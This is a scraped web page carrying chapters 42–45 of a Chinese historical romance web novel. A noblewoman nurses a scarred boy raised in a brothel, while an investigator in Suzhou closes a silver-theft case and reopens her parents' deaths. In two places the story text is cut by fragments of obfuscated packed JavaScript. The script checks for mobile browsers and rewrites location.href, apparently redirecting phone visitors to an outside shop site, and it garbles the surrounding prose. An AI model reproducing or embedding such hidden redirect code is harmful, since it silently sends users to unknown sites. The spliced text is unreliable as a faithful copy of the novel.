那已经是两年前的事了,他再一次逃走后,害怕被抓到,整日混迹在流民之中,穿着破布衣衫,与乞丐抢饭食。 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王大是方圆十里有名的混混,因为刘二妮那件事,一直对他怀恨在心,是以,当找他的人到了镇上时,得知消息的王大几乎是没有立刻犹豫就将他的藏身之地以一两银子的价格卖了。 此后,作为逃跑的惩罚,他被施以极刑,一把刀,生生切开了他的嘴。 很痛。痛到他昏厥过去,痛到他无法吃东西,痛到他日日都要忍受因没有药而腐烂的恶臭。 那段日子是怎么熬过来的,他已经记不清了。 “很丑,很丑,您不会想看的。” 他回应她,声音压地更低,自卑和厌弃几乎要将他全部吞没。 听到他这样说,叶冬知才猛然想起来,他的唇边有一条长长的疤痕,原来,是在介意这个。 她的心不由得更软了几分。 天可怜见的,长这么大,殷水玉是她见过遭遇最坎坷的人了。 于是,她用尽毕生最温和、安抚的语气回他: “不丑,我不会嫌弃你,也不会取笑你。” “这并不是你的错,伤害你的人才应该遭受良心的谴责。” “若是你实在不愿意,那我闭上眼睛,我摸一下,可以吗?” 室内沉默了很久很久,久到叶冬知以为他不会回应了,才听得他道: “嗯。” 虽然他现在还看不见,但她依诺闭上眼睛,手轻轻拨开他两侧的头发,露出他如瓷玉一般的脸来。 因看不见,她只能试探着朝前伸手摸去,最开始时,她只摸到了一处柔软,带着微凉的温度和一丝轻颤的吐息。 殷水玉本能地颤了一下。 但不是因为害怕,而是一种被珍视和温柔对待的满足。 除此之外,里面还夹杂着一些他不明白的悸动。 仅仅只是这样一个毫无欲念的触碰,但他没觉得恶心。 他甚至在心里想。 还想要多一点。 意识到那是他的唇之后,叶冬知愣了一下,然后朝两侧摸去。 很快,她摸到了微微的凸起。这就是令他自卑和难过的疤痕啊。 她的手指停留在上面,有些痒。 贵女用她的手触碰了他最丑陋恶心的地方,他手攥得越发紧,攥着的素被快要被他手心的汗水浸湿。 好想流泪。 泪水从眼眶里涌出,夹杂着清浅的疼痛,终于奔涌出来浸湿了纱布。 他没有发出声响,只绷紧了身子一动不动。 但很快还是被发现了。 手指忽然触碰到一股湿润,叶冬知滞了一下,“哭了吗?为什么哭?” 她无害担忧的询问让殷水玉更无法控制自己。 他偏头,不想让他的眼泪沾湿她的手指,只是低声呜咽,一遍遍唤她,“......贵女。” “嗯,我在。” “贵女。” “我在呢。” 再多的,他没有叫出口,只是在心里不断说着,说了十遍,百遍。 贵女。贵女...... 想起来他眼睛还有伤,叶冬知慌道,“别哭了,你眼睛还没好完呢,大夫说你眼睛只受了一点伤,再过几日眼睛就可以摘纱布了,你再哭的话,怕是又要过一段时日才能好了。” “对了,我那里有祛疤膏,我明日拿给你用,用不了多久,你唇边的伤疤便会消失,你也就不用在意了。” 少年愣愣地坐在榻上,任由她擦去他腮边的眼泪。 他的声音还带着哭后的喑哑,“您睁眼吧。” “不是不想被我看吗?” “您的话......没关系。” 他说完这句话,然后愣了一瞬。 红晕悄悄爬上了他的耳朵,好在夜里黑,旁人看不见。 好羞耻。 叶冬知睁开了眼睛,视线落到他的唇边,松了口气,好在,比她想象的轻一些。 邬涟送她的进贡的祛疤膏,应该会很有效果。 她心里琢磨着这瓶药能用多久,耳畔传来少年拘谨的询问。 “贵女,我能知道您的名字吗?” 这么久了,他只知道满贵叫她叶小姐。 “叶冬知。” 她笑着回他,然后说,“作为交换,你的名字也要告诉我。” 殷水玉将她的名字在唇齿间滚了滚,又在心里默念了十几遍。 随即听到她的话愣住了。 贵女想知道他的名字。 但他的名字没有什么特别的。实际上,他没有一个真正的名字,这个名字,还是小时候的老鸨为了让他卖出高价,翻遍书籍为他取的。 老鸨也不怎么识字,想来想去,给他取了一个温柔又绮丽的名字。 殷水玉。 “殷水玉。”他说。 叶冬知早就知道他的名字,但此刻为了不露馅,发出一声赞叹。 “殷水玉。”她重复了一遍。 “真是个好听的名字,多衬你。” 殷水玉忽然很庆幸,庆幸他的名字能得到她的一句感叹。 从她嘴里叫出的三个字,与旁人都不一样。 他很欢喜。 今夜,他一直都很欢喜。 43. 第 43 章 暴雨过后,果然是个晴天。 泥水冲刷过院内的青石地板,还留有残存的印记。 到正午时分,阿蔷在厅内备膳,一旁的叶冬知道:“将这些菜都装起来,带到殷水玉屋里去,我和他一起吃。” “殷水玉?那是谁?” 阿蔷愣了一下。 叶冬知发现自己还没跟她说这回事,“是救下的那个少年的名字。” 阿蔷点头,但仍道,“小姐,您是主子,这于理不合!” “他连下人都算不上,只是一个来路不明的流民,怎么能和您一起用膳呢。” 这些天,叶冬知对殷水玉的照顾和关切阿蔷亦看在眼里,她从来没见过小姐对一个人这么上心过,便是当初将军和夫人还在世时,也没见过小姐这般。 她不明白,那殷水玉究竟有什么魔力,引得小姐这样为他着迷。 真是祸水。 看出阿蔷的不高兴,叶冬知有些失笑,终归还是个十几岁的孩子,偶尔一些小脾气脸上也藏不住。 于是不由得调侃她,“你倒是在这吃味了,平日你不是都与我一起用膳吗,那时候怎么不说于理不合了。” 刹那,阿蔷的脸涨得通红,“奴婢跟小姐可是从小一起长大的,他才来几日。” 叶冬知戳了戳她的脑袋,“行了,少生闷气,我明日拿钱给你做身新衣裳,上回不是看中那匹料子没舍得买嘛,我院里你可是独一份。” 听到有新衣裳,阿蔷眼睛亮了亮,也没再多说什么,再怎样,这院里最得小姐亲眼的,还是她。 叶冬知到时,满贵刚将饭菜放到屋里的桌子上。 清蒸鲈鱼、肉沫蒸蛋、清炒莲白、呛藕丁,再佐一道上汤娃娃菜。 少年坐在凳子上,没有动筷,看样子对这这些饭菜并无多大兴趣。 叶冬知还未进屋,里头便已经传来少年拘谨的问询。 “......贵女,是您来了吗?” 语气不难听出欣喜和雀跃。 叶冬知示意阿蔷将食盒放在桌上,浅笑,“你耳朵真灵,我都还未到,你便知道是我。” 殷水玉今日着了一身浅碧色的衫子,头发也有细致打理过,用了发带规整绑在脑后,露出了整张脸。 少年轮廓瘦削优越,还带着些青涩,以前他总是散着头发,缩在床角,寻常人难以看到他的肌肤。 今日乍一露出来,恍若明珠拭去尘埃,绽放的光芒几乎令人移不开眼。 他脸上细小的伤口几乎都已经愈合,肌肤瓷白细腻,透着近乎剔透的莹润光泽,鼻梁高挺,唇形完美。 那道唇角的伤也并不影响他的清润绮丽。 阿蔷看呆了,这人,这人怎么长得和妖精一样!难怪小姐日日都要来看他。 这等姿色,除却大公子之外,怕是难有人能与之匹敌。 察觉到阿蔷直愣愣的视线,殷水玉微微侧开了,他低声回应方才叶冬知的话。 “贵女的脚步声,和旁人不一样。” 至少在他耳里,很特别。 她走路的步伐和频率,他都一一记在心里。 叶冬知将菜肴摆出来,有些好奇,“往日不是最在意唇边的伤痕吗,今日怎的——” 后面的话她适当住了嘴,没再多说。 殷水玉明白她的意思,其实他不在意旁人如何看他,之前用头发将伤痕盖住,只是不想她一人看见而已。 如今,她说了不会嫌弃,那他自然也就没了顾虑。 旁人都说他这张脸漂亮,贵女若是看到了,也会这样觉得吗? 好想眼睛能快点好,这张脸上,他的眼睛是被夸过最多的。 他想她看到他身上最好看的地方,也想用眼睛看看贵女的模样。 思绪漂浮间,他身前的碗发出细小的响声,是贵女给他夹了菜。 “我见你平日都吃得很清淡,兴许已经腻了,你的伤势好多了,可以试试其他的菜肴。” “这道糖醋里脊,你尝尝喜欢吗?” 他摸索着拿住筷子,还没等他将菜夹起来,便发现有东西已经到了他的嘴边。 贵女又笑了。 “我忘记你现在还看不见了,你张嘴。” 他依言照做。 入口先是酸甜汁的清爽鲜香,外皮酥脆微焦,一咬就化开。 里面的里脊肉软嫩不柴,汁水充足,酸甜味裹着肉香,不腻不腥,口感外酥里嫩。 “好吃吗?”她说话时满含期待,他几乎能够想象这样的神色出现在贵女脸上有多动人。 “嗯,很好吃。” 他回她,唇齿间的甜仿佛渗入了心间,连带着他的心也觉得很幸福。 叶冬知撑着头看他吃饭的样子,真的很像一只娇气的波斯猫,美貌乖巧而不自知。 “看来你喜欢吃甜的呀。” 不过也是,他过得那么苦,是该多吃点甜的 她如是想着,忽然听到他问,“贵女呢,贵女喜欢吃什么?” 其实殷水玉没有什么喜欢吃的,只要能填饱肚子就好。 不过如果是贵女给的,都很好吃,连她亲手喂给他的药,他都觉得很甜,甚至期盼着药能再多一点。 “我啊。”叶冬知想了想,“嗯......我喜欢吃辣的,还有酸的,比如辣子鸡,酸辣土豆丝,鱼香肉丝。很多很多。” 只可惜,在古代调料种类不够多,好多菜都做不出来她记忆中的味道。 殷水玉静静听着,挨个记下,即便有些菜名他从来没听过。 吃完饭,叶冬知拿出一个白瓷的玉瓶,上次她肩膀上的伤涂了大半月便好了,现下,这里面还剩了许多。 左右她也用不着,便借花献佛了。 她打开瓷瓶,用里面自带的小勺挖出一些,朝身侧人道,“你坐过来些,我带了祛疤的药膏,给你涂一下。” 殷水玉照做,冰凉带着清香的药膏涂在唇边,有一些灼热,因为是面对面,所以她的呼吸也尽数喷洒到他的面上。 他又控制不住地攥紧了袖子。 好像每每贵女靠近他,他便觉得身体有些难以自抑。 药膏涂完后,她离远了,那股奇怪的感觉也随着她的远离而消散些许。 “贵女,涂了这个药,要多久才能好?” 叶冬知回想起自己当初,给了一个折中的日子,“每天用的话,大概一个月左右吧。” “怎么?心急了?”她误以为他在意自己的容貌,失笑调侃他。 殷水玉闻言微红了脸,那点红晕落在他的面上,仿若琉璃上的胭脂,脆弱又摄人心魄。 他抿着唇,没好意思说出来,也不敢说出来。 快点好起来的话,他应该会更好看一些,届时,贵女也会多看他几眼。 见他不知所措的样子,叶冬知没再说了,心下不由感慨。 太难得了,经历了那么多肮脏丑陋的事,心性竟还这么澄澈。 若是之后顺利攻略成功,在走之前,为他寻个好去处吧。 * 七月,江南多雨,已至仲夏。 邬涟在苏州待了近两个月。 他站在廊下,院内的雨便如丝线一样倾斜而下。 江南的雨绵柔,不似京都的雨凶猛骇人。 长安从院外走来,刚收了伞,胸前的信隔着布料,微微泛着潮湿。 他正要从怀里将信掏出来,便听得公子问他:“信还没到吗?” “到了。”长安应了一声,将印着封蜡的信递到身旁人的手上。 邬涟拆开扫了几眼,快速看完,才说,“不是这个。” “啊?” 长安愣了,这封信乃是加急密信,公子几日前便多次叮嘱一定要赶紧送到他手中,其中有饷银案的重要证据。 不是这个,还能是什么。 “府里有来信吗?” 邬涟又问了一句。 长安终于反应过来,公子指的是从侯府的信。 其实他心里也觉得很奇怪,公子以往查案,一去就是两三个月的时候也不是没有,但从来没过问过府中的事。 他脑海中浮现了一个人,怕是公子不是想知道府里有什么事,只是想知道叶小姐最近做了什么吧。 但京都距苏州有千里之遥,信鸽在送信途中很容易被猎户射杀,是以信都要一个月才收到一次。 按照信鸽的脚程,估计还得一两日才到。 “还没到呢公子,约摸着得明日了。” 邬涟闻声没应,垂眸望着石板流动的水不知想些什么。 片刻后,他转身回了屋内。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525186|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 用过晚膳,邬涟在房内梳理案件的证据,门外传来长安的一声叫唤: “公子!苏小姐来了!” 长安故意说得很大声,以保证屋里的人能够听到。 从才到苏州府第一日,他便看出了公子不喜这个苏小姐。 奈何现下在此探查,要借苏州知府苏令的手帮忙,不好拒绝得过于明显。 屋内人的眉头轻皱了一下,下一刻,关着的门被人推开,人还未到,那股浓郁的香风便先一步窜进了屋内。 那股香风混杂了好几种香料,乍一闻倒觉得新鲜,闻久了便觉得刺鼻,让人有些头晕目眩。 “邬公子,南湖的并蒂莲谢了,结了第一茬的莲子,我让人做了些莲子糕点,去了中间的苦心,很是清甜,你可要尝尝?” 苏宝珠穿着一身繁复的苏绣齐胸襦裙,头戴流苏步摇,耳朵上戴着硕大的东珠耳坠,脖子上挂着八宝琉璃璎珞,华丽逼人,在这清雅的小院中显得有些格格不入。 邬涟头也未抬,只客气拒绝,“多谢苏小姐一番好意,邬某不嗜甜。” 苏宝珠也未生气,径直拉开一张凳子坐了下来。 这些日子,不管她如何示好,这邬涟都是冷淡地拒绝了。 刚开始时,她还有些不忿,她在苏州可是一顶一的美人,求娶她的人可从苏州府东门排到西门,偏偏遇上邬涟,她迟迟拿不下。 可时间久了,她倒是想通了,若是这邬涟真这么容易就到手了,她反而觉得少些兴趣。 俗话说,越得不到的,才越想要。 她就不信,倘若她一直坚持,便是铁打的心也得为她一腔真心给捂化了。 面前的青年丰仪俊秀,神态清冷,一丝不苟地在卷宗之上圈圈点点。 苏宝珠托着腮看他,便觉得心口火热,她扫了一眼他桌上的东西,找了个话题。 “父亲说你最近查案遇到了麻烦,如今解决了吗,要不我去找父亲给你帮帮忙?” “都解决了,不劳苏小姐费心。” 见他依旧这么冷淡,苏宝珠在心里哼了一声,不由道: “我每日都对你嘘寒问暖,可你却毫无动容,难道你已有心仪之人?” 邬涟批注的手顿了顿。 “不应该啊,我记得你也没有婚约。” “难不成是你心仪的女子身份特别,所以一直不敢让他人晓得?” “不然怎么解释你见到我,居然能忍住一点不动心。” 苏宝珠在一旁小声嘀咕,丝毫没发现身旁人的脸色已经变了。 “苏小姐。” 他沉声唤她,语气俨然冷了下来。 苏宝珠怔了一下,愣愣看他,“怎、怎么了?” “盲目揣测他人,非君子所为。” “邬某还有事要忙,就不送客了。” 十分明显的逐客令。 苏宝珠长这么大,这还是第一次屁股都没坐热就被人赶走,顿时脸上一阵青一阵白。 没等她反应过来,长安立刻走进来,做了一个“请”的手势。 “苏小姐,天色晚了,恐怕苏知府会担心,您请。” 接二连三被人往外赶,苏宝珠脸涨得通红,指着邬涟道,“你、你什么意思!邬涟,你欺人太甚了!” 然而她这句话也没有任何作用,等她说完,已经被长安隔着衣裳给架到了门外。 一回头,那扇门在她面前合上,里面端坐的男子丝毫没有怜香惜玉的意味。 苏宝珠气得牙痒痒却毫无办法,这是他第十九次拒绝她。 人走后,邬涟从桌案前站起身,打开一侧的窗子。 不多时,一只浑身雪白的信鸽从不远处飞来,扑腾着翅膀落在了他的手臂上。 他取下信鸽脚上的信筒,展开卷起的薄薄信纸。 ——叶小姐救下一濒死少年,且对其悉心照料。 信上如是说。 邬涟目光落在“少年”“悉心照料”二字上,盯了很久。 与此同时,他的右眼皮又不受控制地跳了几下。 她平日是个没心的,还会照料别人,倒是稀奇。 他受伤、生病时,也未见她如此上心。 不过无妨,一个孩子,救下了便救下了,侯府那么大,她若是高兴,养着便是。 44. 第 44 章 此后迎来了连绵的雨,下了好几日,一直未停。 听苏州当地人说,这是梅雨,得下大半个月。 江南水乡,最是温柔乡。 江南女子娇柔,吴侬软语别有一番特色,纵然苏州较为富庶,但亦有穷富之分。 曲阳街是一条隐没在市井之中的小巷,平日看来平平无奇,但一到夜晚,此处便歌舞升平,奢靡无比,与京都想比亦不遑多让。 莲月楼是曲阳街最有名的花楼,楼里的姑娘貌美性柔,基本都是穷苦人家出身。 最上层的一个包厢内,一个瘦弱的男子左拥右抱,眼下青黑,显然早被美色掏空了身子。 他噘着嘴正在去接身旁美人口中衔着的葡萄,却听到猛然一声巨响,包厢的门被人一脚踹开。 迎来走进来一个佩剑的青年,眉目冷厉,气势非凡。 那青年道,“公子,人就在里面。” 躺着的男子喝了些酒,神志已然混沌,见到自己的好事被人打扰,当下便不悦了。 “奶奶的!哪个不长眼的敢坏老子好事?!” 长安“咻”地一下拔剑,锋利的剑尖泛着冷光,直指男人的喉头。 两旁的女子吓得尖叫一声,跑出了厢房。 邬涟抬步进屋,居高临下地盯着地上慌张不已的男子,“刘光,十五年前苏州饷银案的营官,没记错的话,饷银失踪前,你是最后一个接触饷银的人,潜逃十五年,转移饷银,这些年,过了不少好日子吧。” 一听到对方说得如此详细,那叫刘光的男子当即额头便渗出冷汗,神志也清醒了些。 “你是谁!你怎么知道当年的事!” 邬涟不欲多说,朝长安递了个眼神,长安意会,撕了块帐幔,塞住了刘光的嘴,三下五除二将人绑得结结实实,冷笑一声。 “想知道,到刑部牢里去说吧。” 来到苏州快三月,饷银一案终于将要告破。 回苏府的马车上,长安问,“公子,案子差不多了结了,只待回京禀报圣上,我们何时启程回去?” 邬涟靠在车壁上闭目养神,闻言说,“还不着急,这个案子虽然结束了,但是还牵扯出两年前一桩旧案。” “两年前?” 长安纳闷,“两年前有几件大案,公子说的是哪件?” 邬涟睁开眼,漆黑的眸在车内愈发显得幽暗。 “叶应中夫妇遇刺一案。” 长安愣住了。 叶应中是叶小姐的亲生父亲,生性耿直豪爽,两年前,身为侯爷副将的叶应中将军随侯爷立下赫赫战功,携妻子杨璇凯旋回京的路上,却遭遇敌人残部埋伏,双双战死。 事后,侯爷悲恸不已,当众承诺将叶将军的独女叶小姐接入府中照料。 当时这件案子虽然轰动一时,但十分简单,很快便弄清楚了事情的来龙去脉。 如今,旧事重提,难道当年之事另有隐情。 “公子怀疑叶将军夫妇战死一事有猫腻?” “嗯。” 邬涟回想起这段时间的种种迹象,他在探查饷银之时,遇到了一个人,那人曾参与过饷银的押送,后又成为叶应中的麾下,叶应中死后,他也因伤退役,之后,便带着妻儿在苏州一带做了点小生意。 他说,当年的南蛮早已被大军斩草除根,剩下的残部不过百余人,就算有埋伏,也不可能与叶应中率领的三千精锐硬抗,更何况叶应中本人武功高强,曾多次救义父于水火之中,还能不伤分毫,足以见此人的不凡。 所以,当年他与妻子杨氏双双战死一事,看起来好像不太合情理。 但是当时义父亲眼所见叶应中与杨氏的尸体,回来说是叶应中一时不察,中了箭,才最终不敌。 义父素有威望,加之他早已将叶应中当做生死兄弟,是以他的话,无人质疑,都只感慨叶将军时运不济。 不过究竟真相如何,还得继续查探一番。 但这么多年查案的直觉告诉他,结果不会很好,甚至有可能让所有人惊讶。 他心中隐隐有了猜测,可不敢确定,也可以说是他不愿意相信。 邬涟思绪有些乱,他对长安说,“等回了府,这件事不要在她面前说漏嘴,以免她多想。” “是。”长安应下。 * 转眼到了七月底,令叶冬知没想到的是,殷水玉看着瘦弱,但伤势竟然要比常人好得更快些。 大夫说他的眼睛可以拆纱布,往后只需要注意一些,便没有大碍。 叶冬知坐在屋内,看着大夫一点点用剪子将纱布剪掉,瓷玉似的少年安静地坐在凳子上,手却不由得轻轻蜷缩起来。 两个多月了,他终于可以再次看见贵女的模样了。 纱布缓缓落下,露出少年的眼来。 他的眼珠在薄白的眼皮下轻轻颤了颤,纤长的睫毛也随之抖动。 紧接着,殷水玉慢慢睁开了眼睛。 屋内的光其实并不刺眼,但他已经三个月没见过光,是以在触及到光的一刹那,他不适闭了眼睛,眼睛也因为突如其来的刺激渗出了眼泪。 两滴眼泪挂在他的睫毛之上,像两颗晶莹剔透的露珠。 叶冬知见此,软了声音安抚他,“慢点,不着急的。” 殷水玉循着声音偏头,然后再次一点点睁开了眼睛。 光洒在屋内,他第一眼见到的,是一个恍若神仙妃子的少女。 她坐在他的身边,面如银玉,淡眉杏眼,琼鼻赤唇,娇俏灵动。身着一袭杏色的衫子,头上戴着两支素净的玉簪,耳上坠着珍珠。 贵女原本在他记忆中有些模糊的五官,此刻全部都变得清晰起来。 他愣愣地盯着她,只觉世间所有美好的词来形容她都不足够。 事实上,屋内的人在他睁眼时,全部都呆住了。 满贵是,大夫是,阿蔷更是眼睛都瞪圆了。 只见殷水玉睁开眼睛的刹那,他姣美特别的眼型暴露在众人视线之中。内勾外翘的弧度,前疏后密的睫毛,仿佛天然为他画上了一道精致的眼线。 更妙的是,他的眼珠不似常人,竟然是浅灰色的。 他看人时,自然而然就会露出让人无法抗拒的温柔和沉溺来。 真是妖精。 阿蔷嘀咕一声,瞧这狐媚子的样,把小姐的魂都勾走了。 满贵心里总算明白,为什么小姐愿意花大价钱救这小子了,乖乖,就这张脸,便是看着都赏心悦目啊。 叶冬知也被迷惑了一瞬,好在她已经看惯了邬涟的脸,尚且能够免疫,于是很快反应过来,在他面前挥了挥手,“能看见吗?还有哪里不舒服吗?” 眼前的少女软声细语,眉眼关切,温柔如水。 令殷水玉顷刻间就红了耳根。 看不见的时候还好,他只能靠着声音和味道感受她。 如今能看见了,他甚至不敢直视她。 他慌忙垂头,心口处跳得厉害。 阿蔷“啧”了一声,在旁边酸溜溜道,“你脸红个什么劲儿,该不是喜欢上小姐了吧。” 话落,不知为何,殷水玉只觉得身上燥得厉害,脸上尤其烫。 他结结巴巴想解释,“我......我——” 美人含羞总是容易让人心软,叶冬知也是个俗人,不由得嗔了阿蔷一眼。 “你乱说什么呢,嘴这么贫,明个我也给你找个郎君。” 阿蔷瘪嘴不说话了。 看看,这个狐媚子,才来几个月,小姐都为了他训斥自己了。 要是以后在小姐身边伺候,那她阿蔷的地位还能保得住吗? 叶冬知耐心继续说,“别听她的,眼睛还有哪里不舒服吗?” 殷水玉依旧不敢正视她,躲着她的视线,只用余光注意她的动向,闻言轻声回应。 “贵女,我都好了。” “那就好!你唇边的伤疤如今也好得差不多了,你看看呢。” 说着,她拿来一面琉璃镜子,光洁的镜面中照出少年绯红昳丽的脸。 他细细打量自己,从眉头到唇,再到每一寸肌肤。 都恢复了,几乎看不出原本的伤痕。 他的目光通过镜子去看她的神色,他在心里想。 贵女会喜欢他这张脸吗。 他记得方才贵女愣愣盯了他好一会,应该是喜欢的罢。 思及此,他忍不住很轻很轻问。 “贵女,我好看吗?” “嗯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525187|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶冬知没听清,凑近了点说,“你再说一遍,我方才没听到。” 殷水玉快速扫了一眼屋内的人,除了贵女,还有三个。 这样的话,他只想说给贵女一个人听。 见他欲言又止,神态忸怩,叶冬知很快明白他的顾虑,于是让其他人出去后,她方说。 “好了,现在可以说了。” 殷水玉转过身子,他靠近了些,他的肩可以轻轻靠着她。 其实这样的距离已经有些冒犯了,他很清楚,但他抑制不住。 总想着,再近一点。 他敛眸,抬眸看了她一眼,触及到她疑惑的目光后,很快垂下眼,他启唇又抿唇。 或许是太想让她的目光停留在自己身上,殷水玉猛然想起过往,他学过的那些房中术。 曾经他厌恶无比,也亲眼目睹过许多次,□□的交欢和缠绵令他兴奋不了一点,反而觉得恶心。 他总是不愿意去学那些腌臜的手段,但耳濡目染之下,他多少也懂得一点。 可他还没有在任何人身上用过。 如果那个人是贵女的话...... 这样想的刹那,他感到一阵前所未有的战栗。 是以,在叶冬知的视角之下,妖而不艳的少年缓缓抬起头,那双蛊惑人的眸含情妩媚地看向她。 明明他比她高很多,但此刻她却依然有一种被仰视的感觉,眼前的人这般看她,仿佛在奢求她的怜爱与触碰。 紧接着,他在这样令人意乱神迷的氛围中,问她: “......贵女,您喜欢我的脸吗?” 三个月,他的声音也恢复了很多,不再沙哑和干涩,带着少年人的清冽与示弱的讨好。 让人情不自禁生出一种—— 一种好好疼爱他的错觉。 叶冬知只觉脸庞发热,呼吸也急促了几分,她慌忙转开眼,平息了呼吸道: “为什么这样问?” 殷水玉绯红着脸,眼神近乎有些痴迷地看着她,“我想报答您。” 这是他的心里话。 贵女救了他,又为他治伤,他想把最珍视的东西送给贵女。 哦,不对,不是送,是她什么时候想要都可以取用、索取。 他翻来覆去也只发现,他拿得出手的,唯有这张脸而已。 然而贵女却忽然正色,以一种认真无比的口吻对他说。 “为什么总要寻求旁人的喜欢,你首先要喜欢你自己。” “你喜欢自己了,才会有别人来喜欢你。” 殷水玉的眼神迷茫起来。 喜欢......自己...... 他将这几个字在心中反复默念,从来没有人告诉他,他要先喜欢自己。 他听得最多的,都是如何让别人喜欢他。他在这个世上存在的唯一价值,便是让他人欢喜,取悦他人。 叶冬知接着说,“一直执着于让他人喜欢自己,你就把自己当做了物品,物品是随时都可以替换的,只有成为一个完整的人,才是无可替代的。” 殷水玉第一次听到这样的话,他还不太能够明白其中含义。 但他想,既然是贵女说的,那他照做便是。 这样,贵女就会多喜欢他一点。 于是,他天真又雀跃地说,“我很喜欢贵女,贵女您喜欢自己吗?” 好突然的表白。 叶冬知的第一反应就是如此。 但想到他的经历,兴许是自己多想了,他只是不是很会恰当表达自己的情感罢了。 面对这样的少年,叶冬知忽然觉得自己仿佛觉醒了幼师血脉,以一种鼓励又肯定的语气说。 “当然了,我不仅喜欢自己,我还喜欢阿蔷,喜欢满贵,也喜欢你!” “喜欢......我?” 对方喃喃一声,似乎是受到了莫大的鼓舞,眼睛亮亮地看着她,眼里的依赖和喜爱几乎要溢出了。 贵女说喜欢他。 他的心跳得好快,跳得他快要喘不过气。 好幸福。 幸福到他几近晕厥,就连眼睛也被温热装满。 虽然贵女有很多喜欢的人,但他想,他会想办法,让贵女喜欢自己比旁人多一点点。 45. 第 45 章 梅雨在邬涟离开苏州那日终于停了。 雨过天晴,日光落在他的侧脸,显出几分迷离的清冷。 苏令携众官员在河边送他,不远处,一辆华丽的马车停在街边,车内的少女掀起车帘,痴痴望着岸边。 婢女不解,“小姐,你既然舍不得邬大人,为何不去送送他。” 苏宝珠艳丽的脸上涌起一阵失落。 没用的,这三个月来她无所不用其极,对方对她的态度毫无变化,她便已经知道他对她无意。 罢了,她好歹也是官家嫡女,也不至于这么死皮赖脸缠着一个男人。 她重新将视线投向岸边,身形颀长的青年发束玉冠,身上墨色的锦袍被打理得一丝不苟,容色如冷玉,光是站在那里就轻易吸引了岸边所有的目光。 邬涟微微俯身作揖,朝岸边众人道,“邬某此番奉命查案,多亏诸位相助。” 话毕,他弯腰钻进船舱。 流水潺潺,江面宽阔一望无际,船夫是个老手,将船驾得十分平稳。 长安坐在靠近舱门的地方,看着岸边的屋舍逐渐远去,不由得有几分感慨。 “苏州还真是个人杰地灵的地方,不过,就是太爱下雨了,还是咱们京都好,这个季节,应当是烈日当空,晴空万里。” 一连忙了三个月,长安也累得不轻,眼下终于可以回京都歇息一下,他脸上的喜悦溢于言表。 但等他余光扫到身侧的人身上,却收起了脸上的神色,琢磨了下语气方道: “公子可还有什么事情未办妥?” 回京应该是个高兴的事,但公子却面色冷沉,隐约透着不虞。 往日他们查案回京,公子虽喜怒不形于色,但周身的放松和愉悦还是很明显的,哪像这回。 听到长安的话,邬涟将袖中的纸条掏出,在手指间摩挲了片刻,却没有打开。 昨日,他已将行李都收拾好,本该心情松快,直到他收到信鸽送来的信。 那一刻他才明白,为何他自从来了苏州,右眼皮便时常乱跳,原来还真有他意料之外的事发生了。 信很短,只有两句话: 第一句是叶小姐救下的少年伤势已痊愈。 他扫了眼没放在心中,随即视线落到第二句话上: ——少年美貌异常,叶小姐与之愈发亲密。 他的目光紧紧锁在“美貌异常”和“愈发亲密”几个字上。 心口骤然涌上一股难以言喻的情绪。 是愤怒,还是担忧,他分辨不清,只想这船行得再快些,早些到京都。 他倒是要看看那少年有多美貌,比之他又如何。 二人亲密,又是如何亲密的,亲密到了何种地步。 * 殷水玉的伤势基本都已痊愈,也能下地顺利行走了。 傍晚时分,夕阳将将落下,天边还留有绯红的云霞,叶冬知用过晚膳,闲来无事,便想问问殷水玉要不要出府去逛逛。 这养伤的三个月,他一直待在这院子里,纵然他性子安静内敛,想必也有些闷坏了。 殷水玉住的屋子就在她的院子一角。 是以,她轻车熟路地到了殷水玉的屋外,没有敲门,径直推开了他的房门。 随着“吱呀”一声轻响,房内的人陡然察觉到了。 但他还没来得及做出任何反应,来人已跨进了他的屋子。 叶冬知有些奇怪,以往她每次进门的刹那,少年就会在她下一道脚步声落地前轻声唤她“贵女”。 可今天,却没听见他的声音。 门在惯性下被完全打开,一只脚刚迈进门槛的叶冬知忽而愣住了。 她与浴桶中的少年四目相对。 少年原本被热水熏得微红的脸,此刻全部红透。 叶冬知面皮上也窜上一股燥意,她慌忙背过身,语气也有些心虚。 “抱歉啊,我不知道你在沐浴,不是故意要看你的!” 殷水玉绯红着脸,琉璃一般剔透的面上蒙上一层浅薄的水雾,令他整张脸显得十分娇艳欲滴。 对于他而言,这也是个意外。 贵女每每来寻她,都是白日的时候,除却那晚暴雨,她便再也没有晚间来寻过他。 这几日他与贵女待在一处时,闻到她身上香变了,打听之后,才知道原来贵女每日都要用玫瑰与兰草沐浴。 他很欢喜贵女身上的味道,也想要自己像贵女一般沾染上一样的气味。 是以,他今夜托人买了些玫瑰与兰草,打算好好浸泡一番,等明日,他就能与贵女一样。 他的房间不大,放下浴桶后,便没法再搁置一扇屏风。 两人都沉默着,殷水玉将自己泡在水中,只露出了脑袋,他的头发很长,蜿蜒在水中,不动时,可以盖住水下的风景。 他不忍让她陷入尴尬,是他没有提前告知她,才导致了现在的局面。 于是,他小声唤她,“贵女,您寻我有什么事吗?” 提起这个,叶冬知才想起来此的目的,“噢,我是想来问问你,等会要不要同我一起去府外逛逛,夜里还有很多卖小玩意的呢。” 殷水玉的眼睛本来就极为漂亮,此时听到这句话,亮得更如同繁星一般。 贵女在邀请他。 心里的雀跃已无法表达,他勉强收住笑意,乖巧地回她,“贵女,我愿意的,那您等我一会好么,我很快就洗好了。” 